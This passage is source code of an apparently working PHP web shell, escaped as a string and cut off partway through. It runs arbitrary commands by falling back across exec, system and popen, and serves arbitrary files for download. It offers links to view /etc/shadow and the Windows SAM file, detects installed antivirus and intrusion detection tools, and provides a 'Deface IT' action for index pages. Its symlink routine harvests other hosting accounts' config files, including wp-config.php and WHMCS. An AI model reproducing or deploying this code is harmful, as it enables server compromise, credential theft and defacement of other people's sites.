download()\r\n\t{\r\n\t\t\$frd=\$_GET['download'];\r\n\t\t\$prd=explode(\"/\",\$frd);\r\n\t\tfor(\$i=0;\$i<sizeof(\$prd);\$i++)\r\n\t\t{\r\n\t\t\t\$nfd=\$prd[\$i];\r\n\t\t}\r\n\t\t@ob_clean(); \r\n\t header(\"Content-type: application/octet-stream\"); \r\n\t header(\"Content-length: \".filesize(\$nfd)); \r\n\t header(\"Content-disposition: attachment; filename=\\\"\".\$nfd.\"\\\";\"); \r\n \t readfile(\$nfd);\r\n\r\n \t exit;\r\n\t\r\n\t}\r\n\t\t\r\n\tfunction HumanReadableFilesize(\$size)\r\n \t{\r\n \t\$mod = 1024;\r\n \t\t\$units = explode(' ','B KB MB GB TB PB');\r\n \t for (\$i = 0; \$size > \$mod; \$i++) \r\n \t {\r\n \t \$size /= \$mod;\r\n \t }\r\n \t return round(\$size, 2) . ' ' . \$units[\$i];\r\n \t}\r\n\t\r\n\tfunction showDrives()\r\n {\r\n global \$self;\r\n foreach(range('A','Z') as \$drive)\r\n {\r\n if(is_dir(\$drive.':\\\\'))\r\n {\r\n\t\t\t\t\$myd = \$drive.\":\\\\\";\r\n ?>\r\n <a href=javascript:void(0) onClick=\"changedir('dir','<?php echo addslashes(\$myd); ?>')\">\r\n <?php echo \$myd; ?>\r\n </a> \r\n <?php\r\n }\r\n }\r\n }\r\n\tfunction diskSpace()\r\n\t{\r\n \treturn disk_total_space(\"/\");\r\n\t}\t\r\n\tfunction freeSpace()\r\n\t{\r\n \t return disk_free_space(\"/\");\r\n\t}\r\n\t\r\n\tfunction thiscmd(\$p) \r\n\t{\r\n\t\t\$path = myexe('which ' . \$p);\r\n\t\tif(!empty(\$path))\r\n\t\t\treturn \$path;\r\n\t\treturn false;\r\n\t}\r\n\r\n\tfunction mysecinfo()\r\n\t{\r\n\t\tfunction myparam(\$n, \$v) \r\n\t\t{\r\n\t\t\t\$v = trim(\$v);\r\n\t\t\tif(\$v) \r\n\t\t\t{\r\n\t\t\t\techo '<span><font color =red size=3>' . \$n . ': </font></span>';\r\n\t\t\t\tif(strpos(\$v, \"\\n\") === false)\r\n\t\t\t\t\techo '<font color =lime size=3>' . \$v . '</font><br>';\r\n\t\t\t\telse\r\n\t\t\t\t\techo '<pre class=ml1><font color =lime size=3>' . \$v . '</font></pre>';\r\n\t\t\t}\r\n\t\t}\r\n\t\r\n\t\tmyparam('Server software', @getenv('SERVER_SOFTWARE'));\r\n\t\tif(function_exists('apache_get_modules'))\r\n\t\t\tmyparam('Loaded Apache modules', implode(', ', apache_get_modules()));\r\n\t\tmyparam('Open base dir', @ini_get('open_basedir'));\r\n\t\tmyparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));\r\n\t\tmyparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));\r\n\t\t\$temp=array();\r\n\t\tif(function_exists('mysql_get_client_info'))\r\n\t\t\t\$temp[] = \"MySql (\".mysql_get_client_info().\")\";\r\n\t\tif(function_exists('mssql_connect'))\r\n\t\t\t\$temp[] = \"MSSQL\";\r\n\t\tif(function_exists('pg_connect'))\r\n\t\t\t\$temp[] = \"PostgreSQL\";\r\n\t\tif(function_exists('oci_connect'))\r\n\t\t\t\$temp[] = \"Oracle\";\r\n\t\tmyparam('Supported databases', implode(', ', \$temp));\r\n\t\techo '<br>';\r\n\t\r\n\t\tif(\$GLOBALS['os'] == 'Linux') {\r\n\t\t\t\tmyparam('Distro : ', myexe(\"cat /etc/*-release\")); \r\n\t\t\t\tmyparam('Readable /etc/passwd', @is_readable('/etc/passwd')?\"yes <a href=javascript:void(0) onClick=\\\"getmydata('passwd')\\\">[view]</a>\":'no');\r\n\t\t\t\tmyparam('Readable /etc/shadow', @is_readable('/etc/shadow')?\"yes <a href=javascript:void(0) onClick=\\\"getmydata('shadow')\\\">[view]</a>\":'no');\r\n\t\t\t\tmyparam('OS version', @file_get_contents('/proc/version'));\r\n\t\t\t\tmyparam('Distr name', @file_get_contents('/etc/issue.net'));\r\n\t\t\t\tmyparam('Where is Perl?', myexe('whereis perl'));\r\n\t\t\t\tmyparam('Where is Python?', myexe('whereis python'));\r\n\t\t\t\tmyparam('Where is gcc?', myexe('whereis gcc'));\r\n\t\t\t\tmyparam('Where is apache?', myexe('whereis apache'));\r\n\t\t\t\tmyparam('CPU?', myexe('cat /proc/cpuinfo'));\r\n\t\t\t\tmyparam('RAM', myexe('free -m'));\r\n\t\t\t\tmyparam('Mount options', myexe('cat /etc/fstab'));\r\n\t\t\t\tmyparam('User Limits', myexe('ulimit -a'));\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\tif(!\$GLOBALS['safe_mode']) {\r\n\t\t\t\t\t\$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');\r\n\t\t\t\t\t\$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');\r\n\t\t\t\t\t\$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');\r\n\t\t\t\t\techo '<br>';\r\n\t\t\t\t\t\$temp=array();\r\n\t\t\t\t\tforeach (\$userful as \$item)\r\n\t\t\t\t\t\tif(thiscmd(\$item))\r\n\t\t\t\t\t\t\t\$temp[] = \$item;\r\n\t\t\t\t\tmyparam('Userful', implode(', ',\$temp));\r\n\t\t\t\t\t\$temp=array();\r\n\t\t\t\t\tforeach (\$danger as \$item)\r\n\t\t\t\t\t\tif(thiscmd(\$item))\r\n\t\t\t\t\t\t\t\$temp[] = \$item;\r\n\t\t\t\t\tmyparam('Danger', implode(', ',\$temp));\r\n\t\t\t\t\t\$temp=array();\r\n\t\t\t\t\tforeach (\$downloaders as \$item)\r\n\t\t\t\t\t\tif(thiscmd(\$item))\r\n\t\t\t\t\t\t\t\$temp[] = \$item;\r\n\t\t\t\t\tmyparam('Downloaders', implode(', ',\$temp));\r\n\t\t\t\t\techo '<br/>';\r\n\t\t\t\t\tmyparam('HDD space', myexe('df -h'));\r\n\t\t\t\t\tmyparam('Hosts', @file_get_contents('/etc/hosts'));\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t} else {\r\n\t\t\t\$repairsam = addslashes(\$_SERVER[\"WINDIR\"].\"\\\\repair\\\\sam\");\r\n\t\t\t\$hostpath = addslashes(\$_SERVER[\"WINDIR\"].\"\\system32\\drivers\\etc\\hosts\");\r\n\t\t\t\$netpath = addslashes(\$_SERVER[\"WINDIR\"].\"\\system32\\drivers\\etc\\\\networks\");\r\n\t\t\t\$sampath = addslashes(\$_SERVER[\"WINDIR\"].\"\\system32\\drivers\\etc\\lmhosts.sam\");\r\n\t\t\techo \"<font size=3>Password File : </font><a href=\".\$_SERVER['PHP_SELF'].\"?download=\" . \$repairsam .\"><b><font class=txt size=3>Download password file</font></b></a><br>\";\r\n\t\t\techo \"<font size=3>Config Files : </font><a href=javascript:void(0) onClick=\\\"fileaction('open','\$hostpath')\\\"><b><font class=txt size=3>[ Hosts ]</font></b></a> <a href=javascript:void(0) onClick=\\\"fileaction('open','\$netpath')\\\"><b><font class=txt size=3>[ Local Network Map ]</font></b></a> <a href=javascript:void(0) onClick=\\\"fileaction('open','\$sampath')\\\"><b><font class=txt size=3>[ lmhosts ]</font></b></a><br>\";\r\n\t\t\t\$base = (ini_get(\"open_basedir\") or strtoupper(ini_get(\"open_basedir\"))==\"ON\")?\"ON\":\"OFF\";\r\n\t\t\techo \"<font size=3>Open Base Dir : </font><font class=txt size=3>\" . \$base . \"</font><br>\";\r\n\t\t\tmyparam('OS Version',myexe('ver'));\r\n\t\t\tmyparam('Account Settings',myexe('net accounts'));\r\n\t\t\tmyparam('User Accounts',myexe('net user'));\r\n\t\t}\r\n\t\techo '</div>';\r\n\t}\r\n\t\r\n\t\r\n\t\r\n\tfunction myexe(\$in) \r\n\t{\r\n\t\$out = '';\r\n\tif (function_exists('exec')) {\r\n\t\t@exec(\$in,\$out);\r\n\t\t\$out = @join(\"\\n\",\$out);\r\n\t} elseif (function_exists('passthru')) {\r\n\t\tob_start();\r\n\t\t@passthru(\$in);\r\n\t\t\$out = ob_get_clean();\r\n\t} elseif (function_exists('system')) {\r\n\t\tob_start();\r\n\t\t@system(\$in);\r\n\t\t\$out = ob_get_clean();\r\n\t} elseif (function_exists('shell_exec')) {\r\n\t\t\$out = shell_exec(\$in);\r\n\t} elseif (is_resource(\$f = @popen(\$in,\"r\"))) {\r\n\t\t\$out = \"\";\r\n\t\twhile(!@feof(\$f))\r\n\t\t\t\$out .= fread(\$f,1024);\r\n\t\tpclose(\$f);\r\n\t}\r\n\treturn \$out;\r\n}\r\n\t\r\n\tfunction exec_all(\$command)\r\n\t{\r\n \r\n \$output = '';\r\n if(function_exists('exec'))\r\n { \r\n exec(\$command,\$output);\r\n \$output = join(\"\\n\",\$output);\r\n }\r\n \r\n else if(function_exists('shell_exec'))\r\n {\r\n \$output = shell_exec(\$command);\r\n }\r\n \r\n else if(function_exists('popen'))\r\n {\r\n \$handle = popen(\$command , \"r\"); // Open the command pipe for reading\r\n if(is_resource(\$handle))\r\n {\r\n if(function_exists('fread') && function_exists('feof'))\r\n {\r\n while(!feof(\$handle))\r\n {\r\n \$output .= fread(\$handle, 512);\r\n }\r\n }\r\n else if(function_exists('fgets') && function_exists('feof'))\r\n {\r\n while(!feof(\$handle))\r\n {\r\n \$output .= fgets(\$handle,512);\r\n }\r\n\r\n\r\n\r\n }\r\n }\r\n pclose(\$handle);\r\n }\r\n \r\n \r\n else if(function_exists('system'))\r\n {\r\n ob_start(); //start output buffering\r\n system(\$command);\r\n \$output = ob_get_contents(); // Get the ouput \r\n ob_end_clean(); // Stop output buffering\r\n }\r\n \r\n else if(function_exists('passthru'))\r\n {\r\n ob_start(); //start output buffering\r\n passthru(\$command);\r\n \$output = ob_get_contents(); // Get the ouput \r\n ob_end_clean(); // Stop output buffering \r\n }\r\n \r\n else if(function_exists('proc_open'))\r\n {\r\n \$descriptorspec = array(\r\n 1 => array(\"pipe\", \"w\"), // stdout is a pipe that the child will write to\r\n );\r\n \$handle = proc_open(\$command ,\$descriptorspec , \$pipes); // This will return the output to an array 'pipes'\r\n if(is_resource(\$handle))\r\n {\r\n if(function_exists('fread') && function_exists('feof'))\r\n {\r\n while(!feof(\$pipes[1]))\r\n {\r\n \$output .= fread(\$pipes[1], 512);\r\n }\r\n }\r\n else if(function_exists('fgets') && function_exists('feof'))\r\n {\r\n while(!feof(\$pipes[1]))\r\n {\r\n \$output .= fgets(\$pipes[1],512);\r\n }\r\n }\r\n }\r\n pclose(\$handle);\r\n }\r\n \r\n return(htmlspecialchars(\$output));\r\n \r\n}\r\n\r\n\$basedir=(ini_get(\"open_basedir\") or strtoupper(ini_get(\"open_basedir\"))==\"ON\")?\"<font class=txt>ON</font>\":\"<font color='red'>OFF</font>\";\r\n\$etc_passwd=@is_readable(\"/etc/passwd\")?\"Yes\":\"No\";\r\n\r\nfunction getOGid(\$value)\r\n{\r\n\tif(!function_exists('posix_getegid')) {\r\n\t\t\$user = @get_current_user();\r\n\t\t\$uid = @getmyuid();\r\n\t\t\$gid = @getmygid();\r\n\t\t\$group = \"?\";\r\n\t\t\$owner = \$uid . \"/\". \$gid;\r\n\t\treturn \$owner;\r\n\t} else {\r\n\t\t\$name=@posix_getpwuid(@fileowner(\$value)); \r\n\t\t\$group=@posix_getgrgid(@filegroup(\$value)); \r\n\t\t\$owner = \$name['name']. \" / \". \$group['name']; \r\n\t\treturn \$owner;\r\n\t}\r\n}\r\n\r\nfunction mainfun(\$dir)\r\n{\r\n\tglobal \$ind, \$directorysperator,\$os;\r\n\t\r\n\t\$mydir = basename(dirname(__FILE__));\r\n\t\$pdir = str_replace(\$mydir,\"\",\$dir);\r\n\t\$pdir = str_replace(\"/\",\"\",\$dir);\r\n\t\r\n\t\$files = array();\r\n\t\$dirs = array();\r\n\t\r\n\t \$odir=opendir(\$dir);\r\n\t while(\$file = readdir(\$odir))\r\n\t {\r\n\t if(is_dir(\$dir.'/'.\$file))\r\n\t {\r\n\t\t \$dirs[]=\$file;\r\n\t }\r\n\t else\r\n\t {\r\n\t\t \$files[]=\$file;\r\n\t }\r\n\t }\r\n\t \$countfiles = count(\$dirs) + count(\$files);\r\n\t \$dircount = count(\$dirs); \r\n\t \$dircount = \$dircount-2;\r\n\t \$myfiles = array_merge(\$dirs,\$files);\r\n\t\$i = 0;\r\n\tif(is_dir(\$dir))\r\n \t{\r\n\t\tif(scandir(\$dir) === false)\r\n\t\t\techo \"<center><font size=3>Directory isn't readable</font></center>\";\r\n\t\telse\r\n\t\t{\r\n?><form method=\"post\" id=\"myform\" name=\"myform\">\r\n\t<table id=\"maintable\" style=\"width:100%;\" align=\"center\" cellpadding=\"3\">\r\n\t<tr><td colspan=\"7\"><center><div id=\"showmydata\"></div></center></td></tr>\r\n\t<tr style=\"background-color:#0C0C0C;\"><td colspan=\"8\" align=\"center\"><font size=\"3\">Listing folder <?php echo \$dir; ?></font> (<?php echo \$dircount.' Dirs And '.count(\$files).' Files'; ?>)</td>\r\n <tr style=\"background-color:#0C0C0C; height:12px;\">\r\n <th>Name</th>\r\n <th>Size</th>\r\n <th>Permissions</th>\r\n\t<?php if(\$os != \"Windows\"){ echo \"<th>Owner / Group</th>\"; } ?>\r\n\t<th>Modification Date</th>\r\n <th>Rename</th>\r\n\t\t<th>Download</th>\r\n\t\t<th style=\"width:2%;\">Action</th>\r\n </tr>\r\n\t<?php \t\t\r\n\t\tforeach(\$myfiles as \$val)\r\n\t\t{\r\n\t\t\t\$vv = addslashes(\$dir . \$directorysperator . \$val);\r\n\t\t\t\$i++;\r\n\t\t\t\r\n\t\t\tif(\$val == \".\")\r\n\t\t\t{\r\n\t\t\t\t\r\n\t\t\t\t?><tr style=\"background-color:#0C0C0C;\" onMouseOver=\"style.backgroundColor='#000000'\" onMouseOut=\"style.backgroundColor='#0C0C0C'\"><td class='info'><a href=javascript:void(0) onClick=\"changedir('dir','<?php echo addslashes(\$dir); ?>')\"><font class=txt>[ . ]</font></a></td><td><font size=2>CURDIR</font></td>\r\n\t\t\t<td><a href=javascript:void(0) onClick=\"fileaction('perms','<?php echo \$vv; ?>')\"><?php echo filepermscolor(\$dir); ?></a></td>\r\n\t\t\t\r\n\t\t\t<?php if(\$os != 'Windows')\r\n\t\t\t\t { \r\n\t\t\t\t echo \"<td align=center><font size=2>\";\r\n\t\t\t\t \techo getOGid(\$dir).\"</font></td>\";\r\n\t\t\t\t }\r\n\t\t\t\t\t ?>\r\n\t\t\t\r\n\t\t\t<td align=\"center\"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime(\$vv)); ?></font></td>\r\n\t\t\t<td></td><td></td><td></td></</tr><?php \r\n\t\t\t\r\n\t\t\t}\r\n\t\t\telse if(\$val == \"..\")\r\n\t\t\t{ \r\n\t\t\t\t\$val = Trail(\$dir . \$directorysperator . \$val,\$directorysperator);\r\n\t\t\t\t\$vv = addslashes(\$val);\r\n\t\t\t\tif(empty(\$vv))\r\n\t\t\t\t\t\$vv = \"/\"; ?>\r\n\t\t\t<tr style=\"background-color:#0C0C0C;\" onMouseOver=\"style.backgroundColor='#000000'\" onMouseOut=\"style.backgroundColor='#0C0C0C'\"><td class='info'><a href=javascript:void(0) onClick=\"changedir('dir','<?php echo \$vv; ?>')\"><font class=txt>[ .. ]</font></a></td><td><font size=2>UPDIR</font></td>\r\n\t\t\t<td><a href=javascript:void(0) onClick=\"fileaction('perms','<?php echo \$vv; ?>')\"><?php echo filepermscolor(\$val); ?></a></td>\r\n\t\t\t<?php \tif(\$os != 'Windows')\r\n\t\t\t\t\t{\r\n\t\t\t\t\techo \"<td align=center><font size=2>\"; \r\n\t\t\t\t\techo getOGid(\$val).\"</font></td>\";\r\n\t\t\t\t\t\r\n\t\t\t\t\t} ?>\r\n\t\t\t<td align=\"center\"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime(\$val)); ?></font></td>\r\n\t\t\t<td></td><td></td><td></td></tr><?php continue;\r\n\t\t\t}\r\n\t\t\telse if(is_dir(\$vv))\r\n\t\t\t{\r\n\t\t?>\r\n\t\t\t<tr style=\"background-color:#0C0C0C;\" onMouseOver=\"style.backgroundColor='#000000'\" onMouseOut=\"style.backgroundColor='#0C0C0C'\">\r\n\t\t\t<td class='dir'><a href=javascript:void(0) onClick=\"changedir('dir','<?php echo \$vv; ?>')\">[ <?php echo \$val; ?> ]</a></td>\r\n \t<td class='info'><font size=2>DIR</font></td>\r\n\t\t\t\r\n <td class='info'><a href=javascript:void(0) onClick=\"fileaction('perms','<?php echo \$vv; ?>')\"><?php echo filepermscolor(\$dir . \$directorysperator . \$val); ?></a></td>\r\n\t\t\t<?php if(\$os != 'Windows')\r\n\t\t\t\t\t{\r\n\t\t\t\t\techo \"<td align=center><font size=2>\"; \r\n\t\t\t\t\techo getOGid(\$val).\"</font></td>\";\r\n\t\t\t\t\t} ?>\r\n\t\t\t<td align=\"center\"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime(\$dir . \$directorysperator . \$val)); ?></font></td>\r\n\t\t\t<td class=\"info\"><a href=javascript:void(0) onClick=\"fileaction('rename','<?php echo \$vv; ?>')\"><font size=2>Rename</font></a></td>\r\n\t\t\t<td></td>\r\n\t\t\t<td class=\"info\" align=\"center\"><input type=\"checkbox\" name=\"actbox[]\" id=\"actbox<?php echo \$i; ?>\" value=\"<?php echo \$dir . \$directorysperator . \$val;?>\"></td>\r\n </tr></font>\r\n <?php\r\n\t\t\t\t}\r\n\t\t\t\telse if(is_file(\$vv))\r\n\t\t\t\t{\r\n\t\t\t ?>\r\n <tr style=\"background-color:#0C0C0C;\" onMouseOver=\"style.backgroundColor='#000000'\" onMouseOut=\"style.backgroundColor='#0C0C0C'\">\r\n <td class='file'><a href=javascript:void(0) onClick=\"fileaction('open','<?php echo \$vv; ?>')\"><?php if((\"/\" .\$val == \$_SERVER[\"SCRIPT_NAME\"]) || (\$val == \"index.php\") || (\$val == \"index.html\") || (\$val == \"config.php\") || (\$val == \"wp-config.php\")) { echo \"<font color=red>\". \$val . \"</font>\"; } else { echo \$val; } ?></a> <?php if(\$val == \"index.php\" || \$val == \"index.html\") { if(strlen(\$ind) != 0) { echo \"<a href=javascript:void(0) onClick=\\\"defacefun('\$vv')\\\"><font color=red>( Deface IT )</font></a>\"; } } ?></td>\r\n\t\t\t\t \r\n\t\t\t\t <td class='info'><font size=2><?php echo HumanReadableFilesize(filesize(\$dir . \$directorysperator . \$val));?></font></td>\r\n\t\t\t\t \r\n <td class='info'><a href=javascript:void(0) onClick=\"fileaction('perms','<?php echo \$vv; ?>')\"><?php echo filepermscolor(\$dir . \$directorysperator . \$val); ?></a></td>\r\n\t\t\t\t \r\n\t\t\t\t <?php if(\$os != 'Windows')\r\n\t\t\t\t\t{\r\n\t\t\t\t\techo \"<td align=center><font size=2>\"; \r\n\t\t\t\t\techo getOGid(\$val).\"</font></td>\";\r\n\t\t\t\t\t} ?>\r\n\t\t\t\t <td align=\"center\"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime(\$dir . \$directorysperator . \$val)); ?></font></td>\r\n\t\t\t\t \r\n <td class=\"info\"><a href=javascript:void(0) onClick=\"fileaction('rename','<?php echo \$vv; ?>')\"><font size=2>Rename</font></a></td>\r\n\t\t\t\t <td class=\"info\"><a href=\"<?php echo \$self;?>?download=<?php echo \$dir . \$directorysperator .\$val;?>\"><font size=2>Download</font></a>\r\n\t\t\t\t <td class=\"info\" align=\"center\"><input type=\"checkbox\" name=\"actbox[]\" id=\"actbox<?php echo \$i; ?>\" value=\"<?php echo \$dir . \$directorysperator . \$val;?>\"></td>\r\n </tr>\r\n <p>\r\n \t\t\t <?php\r\n \t\t}\r\n\t\t}\r\n\t\t\r\n\techo \"</table>\r\n<div align='right' style='width:100%;' id=maindiv><BR><label><input type='checkbox' name='checkall' onclick='checkedAll();'> <font class=txt size=3>Check All </font></label> \r\n<select class=sbox name=choice style='width: 100px;'>\r\n\t\t\t<option value=delete>Delete</option>\r\n\t\t\t<option value=chmod>Change mode</option>\r\n\t\t\tif(class_exists('ZipArchive'))\r\n\t\t\t{\t<option value=compre>Compress</option>\r\n\t\t\t<option value=uncompre>Uncompress</option> }\r\n\t\t</select>\r\n\t\r\n\t<input type=button onClick=\\\"myaction(choice.value)\\\" value=Submit name=checkoption class=but></form></div>\";\r\n\t}}\r\n\telse\r\n {\r\n echo \"<p><font size=3>\".\$_GET['dir'].\" is <b>NOT</b> a Valid Directory!<br /></font></p>\";\r\n }\r\n\r\n}\r\nif(isset(\$_REQUEST[\"script\"])) \r\n{\r\n\t\$getpath = trim(dirname(\$_SERVER['SCRIPT_NAME']) . PHP_EOL);\r\n\t?>\r\n\t<center><table><tr><td><a href=javascript:void(0) onClick=\"getdata('manuallyscript')\"><font class=txt size=\"4\">| Do It Manually |</font></a></td>\r\n\t<td><a href=javascript:void(0) onClick=\"getdata('scriptlocator')\"><font class=txt size=\"4\">| Do It Automatically |</font></a></td>\r\n\t</tr></table></center>\r\n\t<?php\r\n}\r\nelse if(isset(\$_REQUEST['manuallyscript']))\r\n{\r\n\t?>\r\n\t\t<center>\r\n\t\t<form action=\"<?php echo \$self; ?>\" method=\"post\">\r\n\t\t<textarea class=\"box\" rows=\"16\" cols=\"100\" name=\"passwd\"></textarea><br>\r\n\t\t<input type=\"button\" OnClick=\"manuallyscriptfn(passwd.value)\" value=\"Get Config\" class=\"but\">\r\n\t\t</form>\r\n\t\t</center>\r\n\t\t<?php\r\n}\r\nelse if(isset(\$_REQUEST['scriptlocator']))\r\n{\r\n\tif(stristr(php_uname(),\"Linux\"))\r\n\t{\r\n\t\t\$url = 'http://'.\$_SERVER['SERVER_NAME'].\$_SERVER['REQUEST_URI'];\r\n\t\t\$path=explode('/',\$url);\r\n\t\t\$url =str_replace(\$path[count(\$path)-1],'',\$url);\r\n\t\tfunction syml(\$usern,\$pdomain)\r\n\t\t{\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/vb/includes/config.php',\$pdomain.'~~vBulletin1.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/core/includes/config.php',\$pdomain.'~~vBulletin5.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/includes/config.php',\$pdomain.'~~vBulletin2.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~vBulletin3.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/vb/core/includes/config.php',\$pdomain.'~~vBulletin5.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/inc/config.php',\$pdomain.'~~mybb.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/config.php',\$pdomain.'~~Phpbb1.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~Phpbb2.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~ipb1.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/wp-config.php',\$pdomain.'~~Wordpress1.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/blog/wp-config.php',\$pdomain.'~~Wordpress2.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/configuration.php',\$pdomain.'~~Joomla1.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/blog/configuration.php',\$pdomain.'~~Joomla2.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/joomla/configuration.php',\$pdomain.'~~Joomla3.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/whm/configuration.php',\$pdomain.'~~Whm1.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/whmc/configuration.php',\$pdomain.'~~Whm2.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/support/configuration.php',\$pdomain.'~~Whm3.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/client/configuration.php',\$pdomain.'~~Whm4.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/billings/configuration.php',\$pdomain.'~~Whm5.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/billing/configuration.php',\$pdomain.'~~Whm6.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/clients/configuration.php',\$pdomain.'~~Whm7.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/whmcs/configuration.php',\$pdomain.'~~Whm8.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/order/configuration.php',\$pdomain.'~~Whm9.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/admin/conf.php',\$pdomain.'~~5.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/admin/config.php',\$pdomain.'~~4.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~invisio.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~7.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/connect.php',\$pdomain.'~~8.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/mk_conf.php',\$pdomain.'~~mk-portale1.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/include/config.php',\$pdomain.'~~12.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/settings.php',\$pdomain.'~~Smf.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/includes/functions.php',\$pdomain.'~~phpbb3.txt');\r\n\t\t\tsymlink('/home/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~infinity.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/vb/includes/config.php',\$pdomain.'~~vBulletin1.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/includes/config.php',\$pdomain.'~~vBulletin2.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~vBulletin3.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/cc/includes/config.php',\$pdomain.'~~vBulletin4.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/inc/config.php',\$pdomain.'~~mybb.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/config.php',\$pdomain.'~~Phpbb1.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/forum/includes/config.php',\$pdomain.'~~Phpbb2.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~ipb2.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/wp-config.php',\$pdomain.'~~Wordpress1.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/blog/wp-config.php',\$pdomain.'~~Wordpress2.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/configuration.php',\$pdomain.'~~Joomla1.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/blog/configuration.php',\$pdomain.'~~Joomla2.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/joomla/configuration.php',\$pdomain.'~~Joomla3.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/whm/configuration.php',\$pdomain.'~~Whm1.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/whmc/configuration.php',\$pdomain.'~~Whm2.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/support/configuration.php',\$pdomain.'~~Whm3.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/client/configuration.php',\$pdomain.'~~Whm4.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/billings/configuration.php',\$pdomain.'~~Whm5.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/billing/configuration.php',\$pdomain.'~~Whm6.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/clients/configuration.php',\$pdomain.'~~Whm7.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/whmcs/configuration.php',\$pdomain.'~~Whm8.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/order/configuration.php',\$pdomain.'~~Whm9.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/admin/conf.php',\$pdomain.'~~5.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/admin/config.php',\$pdomain.'~~4.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/conf_global.php',\$pdomain.'~~invisio.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~7.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/connect.php',\$pdomain.'~~8.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/mk_conf.php',\$pdomain.'~~mk-portale1.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/include/config.php',\$pdomain.'~~12.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/settings.php',\$pdomain.'~~Smf.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/includes/functions.php',\$pdomain.'~~phpbb3.txt');\r\n\t\t\tsymlink('/home2/'.\$usern.'/public_html/include/db.php',\$pdomain.'~~infinity.txt');\r\n\t\t\tsymlink('/home3/'.\$usern.'/public_html/vb/includes/config.php',\$pdomain.'~~vBulletin1.txt');\r\n\t\